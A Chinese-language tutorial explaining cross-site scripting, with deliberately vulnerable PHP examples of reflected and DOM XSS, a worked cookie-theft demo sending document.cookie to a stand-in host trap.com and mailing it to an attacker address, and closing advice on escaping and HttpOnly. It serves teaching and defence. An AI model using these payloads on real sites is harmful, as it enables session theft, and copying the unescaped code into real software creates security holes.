XSS漏洞详解

定义

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言

三种XSS

反射型实例

1
2
3
4
5
6
7
8
<form action="" method="get">  
<input type="text" name="xss"/>
<input type="submit" value="submit"/>
</form>
<?php
$xss = @$_GET['xss'];
echo $xss;
?>

一个最简单的例子,整个页面就是一个表单,当点击之后就会提交一个值给本页面,然后php代码会把你提交的内容显示出来,所以只需要在框框里输入<script>alert(1)</script>就可以了(PS:请不要使用chrome),然后查看一下源码:

1
2
3
4
5
<form action="" method="get">  
<input type="text" name="xss"/>
<input type="submit" value="submit"/>
</form>
<script>alert(1)</script>

非常容易理解吧?也就是本质上就是你的输入,被浏览器当成了代码执行了。当时我在学习这部分的时候,最不能理解的是,这能有什么危害呢?我自己输入的变成了代码,那我相当于我自己害自己么?我肯定不会这么做的,那么XSS能有什么危害呢?其实这主要是这个例子仅仅是为了说明XSS的原理,所以导致我有这样的错觉。

现在举一个能造成破坏的例子。假设你经常访问一个网站(假设为xss.com),这个网站有XSS漏洞,有黑客知道了你经常访问的网站存在XSS漏洞,然后他构造了一个恶意的网站(假设为trap.com),上面分别有两个页面,一个页面单纯用来把发送给它的信息发送到指定邮箱,还有一个页面用来调用这个发邮件的页面。

发邮件的页面如下:

1
2
3
4
5
6
7
<?php
$sid = $_GET['sid'];
mb_send_mail('badguy@trap.com', '攻击成功', 'cookie:' . $sid,
'From: xxxxx');
?>
<body>
</body>

而调用上面这个页面的页面(也就是受害者会去访问的页面):

1
2
3
4
5
6
<html>
<body>
<iframe src="http://xss.com?xss=<script>window.location='http://trap.com/?sid='%2Bdocument.cookie;</script>">
</iframe>
</body>
</html>

内嵌了一个iframe,然后这个能够实现去访问xss.com(也就是存在xss漏洞的页面)并且把xss.com的cookie发送到发邮件的那个页面,这样你在xss.com的cookie就发送到了坏人的邮箱里,拿到了cookie能干什么就不用多说了吧。

以上的两个页面只是最简单的利用,实际上可以利用的可以比这个复杂的多。

存储型实例

就是把直接显示在页面上改成了插入数据库,然后从数据库里查询出来,我觉得本质上没有什么区别,所以这里先不提供实验了。

从危害上来说,肯定是存储型的危害大,因为它已经插入了数据库,相当于之后任何人来这个页面都会被感染;当然它的难度也更大,因为多了一层插入数据库的操作,所以会多一层检查。

DOM XSS实例

还是用一个实例来看看:

1
2
3
4
5
6
7
8
9
10
<?php  
$name = $_GET["name"];
?>
<input id="text" type="text" value="<?php echo $name;?>" />
<div id="out"></div>
<script type="text/javascript">
var text = document.getElementById("text");
var out = document.getElementById("out");
out.innerHTML = text.value;
</script>

这个例子中,其实这段代码已经在你的浏览器中了,然后你在url栏中输入服务器地址?name=<img src=1 onerror=alert(1)>就可以看到xss的结果了。

这个与之前的两个的区别在于,上面的那两个其实是服务器已经把恶意的HTML代码构造好了,直接发送给你;而这个其实不是你和服务器进行交互,而是直接由JavaScript来进行动态生成的。

危害

想想看JavaScript能干什么,XSS就能造成什么危害,包括但是不限于:获取用户的Cookie、记录下用户的输入、XSS蠕虫等。

绕过和防护

首先需要明白在一次XSS攻击中有四个对象:攻击者,被害者,存在XSS漏洞的网站,浏览器厂商。这里之所以把浏览器厂商加入其中,是因为像Chrome这种其实也对XSS做了防护。

而产生这个漏洞的根本原因是:在生成HTML的过程中,一些特殊的字符没有被正确的处理,从而导致了意想不到的结果。所以需要对用户的输入进行转义处理,详情见下。

HTML转义

<input name="bob" gender="man">这里的bobman都是属性值,对于属性值我们需要做的就是用双引号括起来,并且对用户输入的双引号进行转义。

<p>段落</p> 这里的段落叫做元素内容,这里需要做的就是将<进行转义掉。

辅助性防护

这里的操作只是辅助性的防护,而不是从根本上杜绝。

  • 输入校验
  • 设置HttpOnly属性,这样JavaScript就不能读取cookie的值了。
  • 关闭TRACE方法